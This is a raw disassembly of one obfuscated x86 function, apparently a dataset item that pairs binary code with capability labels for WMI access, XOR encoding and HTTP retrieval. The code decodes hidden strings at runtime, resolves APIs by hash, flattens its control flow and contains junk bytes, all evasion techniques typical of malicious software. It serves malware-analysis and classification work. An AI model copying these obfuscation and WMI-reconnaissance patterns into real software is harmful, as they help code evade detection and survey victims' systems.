Function at 0x43a2d0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x44fab8]
mov dword [esp + 4], 0x218b27db
mov dword [esp + 8], 0x3daf23ab
mov dword [esp + 0xc], 0x39813fb0
mov dword [esp + 0x10], 0x35e63b8f
mov dword [esp + 0x14], 0x318d3786
mov dword [esp + 0x18], 0xd8d33be
mov dword [esp + 0x1c], 0x90e0ff3
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0x49
xor dl, byte [esp + ecx + 4]
add dl, 0x93
mov byte [esp + ecx + 4], dl
inc ecx
cmp ecx, 0x1c
jne case.default.0x43a350
lea ecx, [esp + 0x50]
lea ebx, [esp + 0x70]
lea edi, [esp + 4]
push ecx
push 8
push ebx
push 0xd
push edi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d3f8]
mov word [esp + 0x70], 0x43
mov word [esp + 0x72], 0x3a
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x446b20
push 1
push 0
push 0x446b30
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d400]
mov dword [esp + 4], 0x29db2bd2
mov dword [esp + 8], 0x2dda2fd9
mov dword [esp + 0xc], 0xd117d3d0
mov dword [esp + 0x10], 0xd525d71f
mov dword [esp + 0x14], 0xd90cdb2e
mov dword [esp + 0x18], 0xdfd8
mov byte [esp + 0x1c], 0
mov eax, 0x1263b473
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x1263b46f]
lea esi, [eax - 0x1263b37c]
and esi, ecx
mov edi, esi
and edi, 0xfffffffd
mov edx, esi
or edx, 0xfffffffd
inc edx
imul edx, edi
mov edi, esi
and edi, 2
or esi, 2
imul esi, edi
add edx, ecx
sub edx, esi
add edx, eax
mov esi, edx
and esi, 0x30
xor edx, 0xb0
lea edx, [edx + esi*2]
add ecx, eax
add ecx, 0xbcb99b84
and ecx, 1
and edx, 0xfe
or edx, ecx
xor edx, 1
lea ecx, [edx + ecx*2]
mov byte [esp + eax - 0x1263b46f], cl
inc eax
cmp eax, 0x1263b48c
jne 0x43a400
lea edi, [esp + 4]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d408]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d410]
mov dword [esp + 0x6c], esi
mov dword [esp + 4], 0xc1b5c7bd
mov dword [esp + 8], 0xcdc2c3b4
mov dword [esp + 0xc], 0
xor eax, eax
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 4]
lea edx, [eax + 0x51]
and edx, ecx
mov edi, edx
and edi, 0x7d
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
sub esi, edx
add ecx, eax
add ecx, esi
add ecx, 0xcc880851
mov edx, ecx
not edx
and edx, 0xfd52123d
and ecx, 0x2adedc2
sub ecx, edx
add ecx, 0xfea9e8a7
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 4], cl
mov ecx, eax
xor ecx, 1
and eax, 1
lea eax, [ecx + eax*2]
cmp eax, 0xc
jb 0x43a4e0
lea edi, [esp + 4]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp], eax
mov dword [esp + 4], 0x9fdb99cf
mov dword [esp + 8], 0xa3e79dd0
mov dword [esp + 0xc], 0xa7f2a1e7
mov dword [esp + 0x10], 0xab84a584
mov dword [esp + 0x14], 0xafe4a988
mov dword [esp + 0x18], 0xb3e1adfa
mov dword [esp + 0x1c], 0xb796b1fd
mov dword [esp + 0x20], 0xbbd3b5ef
mov dword [esp + 0x24], 0xbf89b9ca
mov dword [esp + 0x28], 0xc3a1bd8a
mov dword [esp + 0x2c], 0xc78fc186
mov dword [esp + 0x30], 0xcb9dc597
mov word [esp + 0x34], 0xc9c8
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov eax, 0x9d2d309a
mov ecx, 0x65
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x62d2cf6a]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
mov ebx, edx
and ebx, 0xfd
add ebx, edx
or edx, 2
sub ebx, edx
mov byte [esp + eax + 0x62d2cf6a], bl
inc eax
dec ecx
cmp eax, 0x9d2d30d1
jne 0x43a5e0
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x4c]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x10]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
lea ebx, [esp + 0x70]
jmp dword [eax*4 + 0x44d418]
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
lea esi, [esp + 0x48]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x44], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44d420]
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x48]
mov dword [esp + 4], 0xb921bbf1
mov dword [esp + 8], 0xbd21bf2e
mov dword [esp + 0xc], 0xb12eb3db
mov dword [esp + 0x10], 0xb53db7c2
mov dword [esp + 0x14], 0xa9ccab27
mov dword [esp + 0x18], 0xad38af33
mov dword [esp + 0x1c], 0xa3ac
mov byte [esp + 0x20], 0
mov ecx, 0x1f
mov edx, 0x60
nop
nop
movzx esi, byte [esp + ecx - 0x1b]
mov edi, esi
not edi
mov ebx, edi
and ebx, 0xfa
or edi, 5
add esi, edi
inc esi
or esi, ebx
mov edi, edx
and edi, 0x60
mov ebx, ecx
and ebx, 0x1f
or ebx, edi
xor ebx, esi
xor bl, 0x9a
add bl, 0x65
mov byte [esp + ecx - 0x1b], bl
inc ecx
dec edx
cmp ecx, 0x3c
jne case.default.0x43a747
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x80], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d428]
mov eax, dword [esp + 0x88]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x64], eax
je 0x43a795
add eax, 2
xor esi, esi
jmp 0x43a774
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43a797
cmp cx, 0x7f
jbe 0x43a768
movzx edx, cx
cmp edx, 0x7ff
ja 0x43a78a
add esi, 2
jmp 0x43a769
cmp cx, 0xffff
je 0x43a769
add esi, 3
jmp 0x43a769
xor esi, esi
mov dword [esp + 0x60], esi
lea ebx, [esi + 1]
push ebx
call fcn.0040cbb0
add esp, 4
mov esi, eax
mov edi, dword [esp + 0x64]
jmp dword [0x44d430]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44d468]
xor eax, eax
cmp dword [esp + esi*4 + 0x50], 0
sete al
jmp dword [eax*4 + 0x44d470]
mov eax, dword [case.0x43a747.21]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, esi
jmp 0x43a803
lea eax, [esi - 1]
imul eax, dword [esp + eax*4 + 0x50], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x50], eax
mov edi, 0xffffffff
mov ebx, 0xfffffffe
push 0x10
push 9
mov dword [esp + 8], edx
push edx
push eax
call fcn.00434040
add esp, 0x10
add ebx, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne case.default.0x43a851
xor edi, 8
not ebx
and ebx, 0x10
sub edi, ebx
xor edx, edx
cmp edi, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x44d498]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp edi, ecx
setne dl
jmp dword [edx*4 + 0x44d498]
mov edx, dword [esp]
add edx, 8
inc esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d460]
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
mov edi, esi
mov esi, dword [esp + 0x60]
jmp dword [ecx*4 + 0x44d440]
mov ecx, eax
and ecx, 0xfffffffb
mov edx, eax
and edx, 4
mov ebx, eax
or ebx, 4
imul ebx, edx
xor edx, 4
imul edx, ecx
add ebx, edi
mov ecx, dword [edx + ebx]
mov dword [esp + eax*4 + 0x50], ecx
add esi, 0xfffffffc
xor ecx, ecx
cmp esi, 4
setb cl
jmp dword [ecx*4 + 0x44d448]
inc eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44d440]
lea esi, [esp + 0x80]
jmp dword [0x44d450]
push edi
call fcn.0040cbc0
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ebx, [esp + 0x70]
lea edi, [esp + 4]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp]
call esi
push dword [esp + 0x68]
call esi
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 4], 0
push 0xd2e7977e
push dword [0x44fab0]
call fcn.00443160
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp + 8]
jmp dword [ecx*4 + 0x44d458]
mov eax, dword [esp + 4]
mov dword [esp + 0x50], eax
xor esi, esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d460]
push edi
push ebx
push esi
call fcn.00431eb0
add esp, 0xc
push edi
push ebx
push esi
call fcn.00431eb0
add esp, 0xc
jmp dword [0x44d43c]
int3
xor eax, eax
jmp 0x43abe1
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], esi
push 0x400
call fcn.0043e040
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 0xe0e7e6e5
mov word [ebp - 0x18], 0
mov eax, 0xf9e86e9e
mov edi, 0x179161
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ebp + eax + 0x6179146]
mov edx, edi
and edx, 0x141145
mov ecx, eax
and ecx, 0xc068083a
sub ecx, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
lea esi, [edx + edx]
not esi
add esi, edx
lea edx, [ecx + ecx]
not edx
add edx, ecx
or edx, esi
not ebx
or ebx, ecx
and ebx, edx
lea ecx, [ebx + ebx]
not ecx
add ecx, ebx
mov edx, ecx
and ebx, 0xc2
and ecx, 0x3d
or ecx, ebx
and edx, 0x42
lea ecx, [ecx + edx*2]
inc cl
mov byte [ebp + eax + 0x6179146], cl
inc eax
dec edi
cmp eax, 0xf9e86ea4
jne 0x43aa50
mov ecx, dword [ebp - 0x1c]
mov eax, dword [0x44fabc]
test eax, eax
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp - 0x20]
je case.default.0x43ac14
xor edx, edx
mov ebx, dword [0x44fac0]
nop
nop
nop
cmp dword [ebx + edx*8], 0xa70a987f
je 0x43aae0
inc edx
cmp eax, edx
jne 0x43aad0
jmp case.default.0x43ac14
mov eax, dword [ebx + edx*8 + 4]
cmp eax, ecx
jne 0x43abe9
not ecx
shr ecx, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [ecx*4 + 0x44d4a8]
push esi
call fcn.0043e100
add esp, 4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xe0e7e6e5
mov word [ebp - 0x18], 0
mov ecx, 0xf9e86e9e
mov edx, 0x179161
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx + 0x6179146]
mov ebx, edx
and ebx, 0x141145
mov edi, ecx
and edi, 0xc068083a
sub edi, ebx
lea ebx, [esi + esi]
not ebx
add ebx, esi
lea eax, [ebx + ebx]
not eax
add eax, ebx
lea ebx, [edi + edi]
not ebx
add ebx, edi
or ebx, eax
not esi
or esi, edi
and esi, ebx
lea edi, [esi + esi]
not edi
add edi, esi
mov eax, edi
and esi, 0xc2
and edi, 0x3d
or edi, esi
and eax, 0x42
lea eax, [edi + eax*2]
inc al
mov byte [ebp + ecx + 0x6179146], al
inc ecx
dec edx
cmp ecx, 0xf9e86ea4
jne 0x43ab30
mov ecx, dword [0x44fabc]
test ecx, ecx
je 0x43abdc
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov edi, dword [0x44fac0]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x43abc0
inc esi
cmp ecx, esi
jne 0x43abb0
jmp 0x43abdc
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43abdc
push dword [ebp - 0x14]
push 1
push dword [0x44fac4]
push ecx
call fcn.00440ac0
add esp, 0x10
mov eax, dword [ebp - 0x10]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x2f
push 0x400
push esi
push dword [ebp - 0x10]
push dword [ebp - 0x28]
push 5
push dword [0x44fac4]
push eax
call fcn.00440ac0
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x44d4a8]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x10], 0
cmp ecx, dword [esi]
setb al
xor ebx, ebx
jmp dword [eax*4 + 0x44d4b0]
mov ecx, dword [ebp - 0x14]
call fcn.0043e4f0
mov eax, ebx
and eax, 1
xor ebx, 1
lea ebx, [ebx + eax*2]
xor eax, eax
mov esi, dword [ebp - 0x20]
cmp ebx, dword [esi]
setb al
jmp dword [eax*4 + 0x44d4b0]
mov eax, dword [esi + ebx*4 + 4]
mov esi, dword [ebp - 0x14]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.0043e370
xor eax, eax
mov ecx, edi
neg ecx
sbb eax, dword [ebp + 0x10]
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.0043e390
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d4b8]
mov esi, edi
mov edi, dword [ebp + 0x10]
jmp dword [0x44d4c4]
test eax, eax
setns al
mov dword [ebp - 0x10], eax
mov edi, esi
jmp case.0x43ac14.4
mov ecx, dword [ebp - 0x14]
push edi
push esi
push 0
call fcn.0043e5a0
mov ecx, dword [ebp - 0x14]
push edi
push esi
push 0
call fcn.0043e5a0
jmp dword [0x44d4cc]
outsb dx, byte [esi]
mov ah, 0x54
push 0x973f85
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov cx, word [ebp]
xor eax, eax
sub cx, 0x2e
sete cl
mov dword [esp + 0x360], 1
mov edx, dword [esp + 0x364]
mov ebx, dword [esp + 0x360]
mov edx, dword [edx + ebx*4]
jmp edx
call fcn.0040e590
mov dword [esp + 0x368], 1
mov eax, dword [esp + 0x36c]
mov ecx, dword [esp + 0x368]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, esi
sub ecx, 2
sete cl
mov edx, dword [esp + 0x3f0]
mov ebx, dword [esp + 0x3f4]
mov edx, dword [ebx + edx*4]
jmp edx
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
push edx
jne 0x43bac4
lds ebp, [edx - 0x50]
ret 0x8b63
add ebx, 0xfffffffe
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, ebx
mov edi, dword [esp + 0x4a8]
sub ecx, edi
seta al
mov dword [esp + 0x3d0], eax
mov eax, dword [esp + 0x3d4]
ror byte [ecx + 0x3d02484], 0
add byte [ebx + 0x3d42484], cl
add byte [eax], al
mov ecx, dword [esp + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
cmpsd dword [esi], dword es:[edi]
sub eax, 0xfe9bb407
sub ecx, ebx
mov word [edi], 0x5c
mov word [edi + 2], 0
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov eax, dword [ecx + eax*4]
jmp eax
mov edx, ebp
add edx, 2
mov ax, word [ebp + 2]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x350], ecx
mov eax, dword [esp + 0x354]
mov ecx, dword [esp + 0x350]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x1c8], 0
mov eax, dword [esp + 0x1cc]
mov ecx, dword [esp + 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x388]
mov ecx, dword [esp + 0x38c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x358], eax
mov eax, dword [esp + 0x35c]
mov ecx, dword [esp + 0x358]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp]
mov ecx, dword [esp + 0x438]
mov edx, dword [esp + 0x43c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [esp + 8], esi
mov dword [esp + 4], ebp
mov dword [esp], ebx
call fcn.0041d000
lea ebx, [ebx + edi*2]
lea esi, [ebp + edi*2]
mov eax, dword [esp + 0x148]
mov ecx, dword [esp + 0x14c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x4a8]
jmp eax
mov cl, al
not cl
inc al
or al, cl
movzx eax, al
and eax, 1
mov dword [esp + 0x3a8], eax
mov eax, dword [esp + 0x3ac]
mov ecx, dword [esp + 0x3a8]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x4a8]
jmp eax
mov word [edi], 0x5c
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x1e0], 1
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov word [edi], 0x5c
mov word [edi + 2], 0
mov dword [esp + 0x128], 0
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebp]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x3e0], ecx
mov eax, dword [esp + 0x3e4]
mov ecx, dword [esp + 0x3e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], ebp
call fcn.0041d3e0
mov ecx, dword [esp + 0x460]
mov edx, dword [esp + 0x464]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e590
mov eax, esi
add eax, 0xfffffffe
mov dword [esp + 0x1c0], 1
mov ecx, dword [esp + 0x1c4]
mov edx, dword [esp + 0x1c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x138], ecx
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x138]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, eax
not ecx
and ecx, ebp
mov edx, ebp
not edx
and eax, edx
sub eax, ecx
mov edi, eax
sar edi, 1
mov esi, edi
not esi
and eax, 2
or esi, 0xfffffffe
mov ecx, edi
or ecx, 1
and esi, ecx
add esi, eax
xor eax, eax
mov ecx, esi
sub ecx, 1
sete al
mov dword [esp + 0x440], eax
mov eax, dword [esp + 0x444]
mov ecx, dword [esp + 0x440]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x20]
mov byte [esp + 0x2c], al
mov byte [esp + 0x14], 0x6a
mov byte [esp + 0x15], 0x21
mov byte [esp + 0x16], 0x8e
mov byte [esp + 0x17], 0x23
mov byte [esp + 0x18], 0x24
mov byte [esp + 0x19], 0x25
mov eax, 6
mov byte [esp + eax + 0x14], 0
add eax, 1
cmp eax, 0xa
jne 0x43be4a
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x304]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x1d8], 0
mov eax, dword [esp + 0x1dc]
mov ecx, dword [esp + 0x1d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e590
mov word [edi], 0x5c
mov eax, edi
add eax, 2
mov esi, ebp
add esi, 2
mov dword [esp + 0x400], 0
mov ecx, dword [esp + 0x404]
mov edx, dword [esp + 0x400]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e590
mov dword [esp + 0x280], 0
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x280]
mov eax, dword [eax + ecx*4]
jmp eax
fcmovne st(0), st(2)
xor byte [eax + 0x6024448b], dl
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x228], eax
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov ecx, dword [eax + ecx*4]
mov eax, edi
jmp ecx
call fcn.0040e590
xor eax, eax
test esi, esi
setne cl
mov dword [esp + 0x2d8], 0
mov edx, dword [esp + 0x2dc]
mov ebx, dword [esp + 0x2d8]
mov edx, dword [edx + ebx*4]
jmp edx
add ebp, 4
mov eax, dword [esp + 0x150]
mov ecx, dword [esp + 0x154]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
mov eax, dword [esp + 0x4a8]
mov ax, word [eax]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x3b8], ecx
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x3b8]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
call fcn.0040e590
movzx eax, si
mov dword [esp + 0x2b0], 0
mov ecx, dword [esp + 0x2b4]
mov edx, dword [esp + 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov dword [esp + 0x3c], edx
call fcn.0040e590
mov dword [esp + 0x348], 0
mov eax, dword [esp + 0x34c]
mov ecx, dword [esp + 0x348]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x4a8]
jmp eax
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2ec]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebx], 0
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x144]
mov eax, dword [ecx + eax*4]
mov ebp, esi
jmp eax
popfd
bound eax, qword [0x131ce7b4]
movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x4a8]
mov si, word [eax]
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [eax], 0x5c
mov word [edi + 6], 0
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [esp + 0x1b0]
mov edx, dword [esp + 0x1b4]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
jmp ecx
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 0x3c]
jmp eax
call fcn.0040e590
mov dword [esp + 0x1a8], 0
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
test ax, ax
sete bl
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
mov bl, 1
jmp eax
mov eax, dword [esp + 0x390]
mov ecx, dword [esp + 0x394]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x4a8]
jmp eax
mov eax, dword [esp + 0x268]
mov ecx, dword [esp + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov edi, dword [esp + 0x4a8]
cmp eax, 0xa
jae 0x43c231
mov dl, byte [esp + eax + 0x14]
mov esi, eax
and esi, 0xf8
xor esi, 0xf8
mov ecx, eax
and ecx, 7
sub ecx, esi
xor cl, dl
add cl, 0xd8
mov byte [esp + eax + 0x14], cl
add eax, 1
jmp 0x43c205
add edi, 2
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0043cb60
mov esi, eax
mov dword [esp + 0x2f0], 0
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
test ax, ax
sete al
mov ecx, dword [esp + 0x3b0]
mov edx, dword [esp + 0x3b4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x318]
mov ecx, dword [esp + 0x31c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e590
mov dword [esp + 0x3a0], 1
mov eax, dword [esp + 0x3a4]
mov ecx, dword [esp + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x1b8]
mov edx, dword [esp + 0x1bc]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
jmp ecx
and bl, 1
movzx eax, bl
add esp, 0x490
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, edi
add eax, 4
mov cx, word [edi + 4]
xor edx, edx
test cx, cx
sete dl
mov dword [esp + 0x110], edx
mov ecx, dword [esp + 0x114]
mov edx, dword [esp + 0x110]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x480]
mov ecx, dword [esp + 0x484]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
xor eax, eax
mov ecx, esi
sub ecx, 3
sete al
mov dword [esp + 0x370], eax
mov eax, dword [esp + 0x374]
mov ecx, dword [esp + 0x370]
mov eax, dword [eax + ecx*4]
jmp eax
jnp 0x43c310
cmpsb byte [esi], byte es:[edi]
loopne 0x43c3b5
test word [eax], di
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
mov ecx, dword [esp + 0x220]
mov edx, dword [esp + 0x224]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e590
mov dword [esp + 0xf8], 0
mov eax, dword [esp + 0xfc]
xlatb
and ebp, edi
inc edi
test byte [eax + edi*8], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0xfc2484], cl
add byte [eax], al
mov ecx, dword [esp + 0xf8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x10], ebx
mov dword [esp], ebp
mov dword [esp + 4], 0x5c
call fcn.0043cb20
xor ecx, ecx
test eax, eax
sete cl
mov dword [esp + 0x468], ecx
mov ecx, dword [esp + 0x46c]
mov edx, dword [esp + 0x468]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e590
mov dword [esp + 0x408], 1
mov eax, dword [esp + 0x40c]
mov ecx, dword [esp + 0x408]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x10]
jmp eax
mov ax, word [edi + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
